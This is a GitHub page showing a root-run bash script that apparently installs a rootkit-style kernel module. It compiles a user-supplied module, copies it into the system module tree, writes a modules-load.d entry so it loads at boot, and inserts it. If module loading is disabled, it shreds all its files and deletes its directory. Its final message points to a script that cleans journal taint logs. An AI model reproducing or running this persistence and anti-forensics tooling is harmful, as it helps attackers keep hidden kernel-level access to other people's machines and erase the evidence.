-
Notifications
You must be signed in to change notification settings - Fork 178
Expand file tree
/
Copy pathload_and_persistence.sh
More file actions
executable file
·75 lines (55 loc) · 1.73 KB
/
load_and_persistence.sh
File metadata and controls
executable file
·75 lines (55 loc) · 1.73 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/bin/bash
if [ "$(id -u)" -ne 0 ]; then
echo "[!] This script must be run as root."
exit 1
fi
if [ "$(cat /proc/sys/kernel/modules_disabled)" -eq 1 ]; then
echo "[!] Kernel module loading is disabled on this system."
echo "[*] Shredding all files and removing current directory..."
find . -type f -exec shred -u {} \;
find . -depth -type d -exec rm -rf {} +
dir_to_delete="$(basename "$PWD")"
cd ..
rm -rf "$dir_to_delete"
echo "[*] Done. Exiting."
exit 1
fi
read -p "Enter the directory of the LKM: " LKM_DIR
if [ ! -d "$LKM_DIR" ]; then
echo "[!] Directory '$LKM_DIR' not found."
exit 1
fi
read -p "Enter the module name (without .ko): " MODULE_NAME
MODULE_DIR="/usr/lib/modules/$(uname -r)/kernel"
CONF_DIR="/etc/modules-load.d"
echo "[*] Compiling the module in $LKM_DIR..."
make -C "$LKM_DIR"
if [ $? -ne 0 ]; then
echo "[!] Module compilation failed."
exit 1
fi
KO_FILE="$LKM_DIR/$MODULE_NAME.ko"
if [ ! -f "$KO_FILE" ]; then
echo "[!] Compiled file '$KO_FILE' not found."
exit 1
fi
mkdir -p "$MODULE_DIR"
mkdir -p "$CONF_DIR"
echo "[*] Copying $KO_FILE to $MODULE_DIR..."
cp "$KO_FILE" "$MODULE_DIR/$MODULE_NAME.ko"
echo "[*] Running depmod..."
depmod
echo "[*] Setting up persistence..."
echo "$MODULE_NAME" > "$CONF_DIR/$MODULE_NAME.conf"
if lsmod | grep -q "^$MODULE_NAME"; then
echo "[!] Module already loaded. Removing first..."
rmmod "$MODULE_NAME"
fi
insmod "$MODULE_DIR/$MODULE_NAME.ko"
if [ $? -eq 0 ]; then
echo "[+] Module '$MODULE_NAME' loaded successfully!"
else
echo "[!] Failed to load the module."
fi
echo "[*] Module installed, loaded, and set to load on boot."
echo "[*] Now run 'sudo bash scripts/journal.sh' for clean journal taint logs"